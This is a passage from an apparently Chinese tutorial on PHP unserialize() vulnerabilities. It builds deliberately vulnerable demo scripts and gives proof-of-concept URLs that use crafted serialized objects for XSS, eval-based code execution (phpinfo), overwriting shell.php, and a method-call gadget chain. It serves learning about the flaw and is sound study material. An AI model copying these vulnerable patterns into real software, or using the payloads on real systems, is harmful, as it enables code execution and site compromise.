一直想研究下php反序列化漏洞,花了幾天時間做了個簡單的了解。。寫篇文章記錄下。
直白點就是圍繞着serialize和unserialize兩個函數。
一個用於序列化,一個用於反序列化。
我們通常把字符串/數組/對象進行序列化,然后再反序列化被序列化的字符串/數組/對象
簡單寫個demo1.php
<?php $a="test"; //字符串 $arr = array('j' => 'jack' ,'r' => 'rose'); //數組 class A{ public $test="yeah"; } echo "序列化:"; echo "</br>"; $aa=serialize($a); print_r($aa); echo "</br>"; $arr_a=serialize($arr); print_r($arr_a); echo "</br>"; $class1 = new A(); //對象 $class_a=serialize($class1); print_r($class_a); echo "<br/>"; echo "反序列化:"; echo "<br/>"; print_r(unserialize($aa)); echo "</br>"; print_r(unserialize($arr_a)); echo "</br>"; print_r(unserialize($class_a)); ?>
如果說反序列化可能帶來安全問題,那么一定是序列化構造了危險代碼,當進行反序列化相當於解碼操作的時候自動執行了。
我們本地測試下,當嘗試序列化一段xss代碼的時候,當它進行反序列化的時候會自動執行xss:
代碼:
<?php $a="test"; //字符串 $arr = array('j' => 'jack' ,'r' => 'rose'); //數組 class A{ public $test="<img src=1 onerror=alert(1)>"; } echo "序列化:"; echo "</br>"; $aa=serialize($a); print_r($aa); echo "</br>"; $arr_a=serialize($arr); print_r($arr_a); echo "</br>"; $class1 = new A(); //對象 $class_a=serialize($class1); print_r($class_a); echo "<br/>"; echo "反序列化:"; echo "<br/>"; print_r(unserialize($aa)); echo "</br>"; print_r(unserialize($arr_a)); echo "</br>"; print_r(unserialize($class_a)); ?>
我們可以嘗試本地修改需要被序列化的字符串/數組/對象。
通過上面的小demo我們簡單的了解了反序列化導致的一些安全問題。
下面是對它的深入理解:
首先解釋下demo1序列化后的含義:
$a="test"; 序列化后的結果是:s:4:"test";
含義:s =string類型 4代表字符串長度,"test"代表字符串內容
$arr = array('j' => 'jack' ,'r' => 'rose');序列化后的結果是:a:2:{s:1:"j";s:4:"jack";s:1:"r";s:4:"rose";}
含義:a代表array數組類型,2代表數組長度2個,s代表string,4代表字符串長度,jack是字符串內容,依此類推。
class A{public $test="yeah"}創建對象后,序列化后的結果是:O:1:"A":1:{s:4:"test";s:4:"yeah";}
含義:O表示存儲的對象(object類型),1代表對象名稱有1個字符,就是A,A是對象名稱,1表示有一個值,s代表string類型,4代表字符串長度,test代表字符串名稱,依此類推。
我感覺我寫的很詳細了,下面來點案例說明反序列化漏洞吧:
魔術方法,php有一些魔術方法,參考:https://secure.php.net/manual/zh/language.oop5.magic.php
划重點,簡單講解下對反序列化有用的魔法函數,詳細了解查看手冊:
__construct 構造函數,創建對象時自動調用
__wakeup 使用unserialse()函數時會自動調用
__destruct 當對象被銷毀時自動調用 (php絕大多數情況下會自動調用銷毀對象)
寫一段存在安全問題的demo:
那么我用__wakeup演示下,__destruct也可以,因為__destruct 會被自動調用
demo2.php
<?php class A{ var $test = "demo"; function __wakeup(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
發現反序列化可控序列化代碼,並且一旦反序列化會走魔法方法__wakeup並且輸出test
構造序列化poc:
$b = new A(); $c = serialize($b); echo $c;
輸出:O:1:"A":1:{s:4:"test";s:4:"demo";}
demo是$test變量,嘗試修改$test的值是<img src=1 onerror=alert(1)>
注意前面的長度:
構造poc: http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
直接導致xss攻擊。如果__wakeup中不是echo $this->test; ,是eval(*)那么就是任意代碼執行危害巨大!
我們來嘗試修改echo改成eval這種php執行代碼函數:
<?php class A{ var $test = "demo"; function __wakeup(){ eval($this->test); } } $b = new A(); $c = serialize($b); echo $c; $a = $_GET['test']; $a_unser = unserialize($a); ?>
直接構造poc:
http://127.0.0.1/demo2.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
使用pyhhon判斷長度很方便
如果把10改成11就不能正常執行:
序列化要一一匹配。
關於文件操作結合反序列化導致的安全問題:
網站根目錄存在shell.php
demo3.php
<?php //為顯示效果,把這個shell.php包含進來 require "shell.php"; class A{ var $test = '123'; function __wakeup(){ $fp = fopen("shell.php","w") ; fwrite($fp,$this->test); fclose($fp); } } $a= new A(); print_r(serialize($a)); $class1 = $_GET['test']; print_r($class1); echo "</br>"; $class1_unser = unserialize($class1); ?>
構造poc:
http://172.16.6.231/fanxulie/demo3.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
測試發現當使用unserialize()的時候會自動調用魔術方法__wakeup或__destruct,所以往往安全問題都在__wakeup和__destruct魔術方法中。那么__construct()構造方法就沒利用價值嗎?非也,非也。如果__wekeup創建了對象,那么就會自動調用__construct(),演示例子:
demo4.php
<?php require "shell.php"; class B{ function __construct($test){ $fp = fopen("shell.php","w") ; fwrite($fp,$test); fclose($fp); } } class A{ var $test = '123'; function __wakeup(){ $obj = new B($this->test); } } $class1 = $_GET['test']; echo "</br>"; $class1_unser = unserialize($class1); ?>
構造poc:http://172.16.6.231/fanxulie/demo4.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
首先unserialize()會自動調用__wakeup(),__wakeup中創建了對象,從而自動調用了__construct(),會執行__construct()內的操作。
利用普通成員方法的反序列化漏洞研究:
上面講的都是基於魔術方法下的敏感操作導致的反序列化導致的安全問題。但是當漏洞/危險代碼存在在類的普通方法中,該如何利用呢?
demo5.php
<?php class maniac{ public $test; function __construct(){ $this->test =new x1(); } function __destruct(){ $this->test->action(); } } class x1{ function action(){ echo "x1"; } } class x2{ public $test2; function action(){ eval($this->test2); } } $class2 = new maniac(); unserialize($_GET['test']); ?>
我們發現類的普通方法調用eval函數,這個函數很危險,如果可控就可能造成代碼執行。
通過代碼發現$_GET['test']可控,因為使用unserialize()會自動調用__destruct(),所以他會先調用action()函數,然后會走到x1類和x2類,而安全問題在x2類中,構造如下序列化代碼:
serialize_demo5.php
<?php class maniac{ public $test; function __construct(){ $this->test = new x2(); } } class x2{ public $test2="phpinfo();"; } $class1 = new maniac(); print_r(serialize($class1)) ?>
序列化值:O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
構造poc: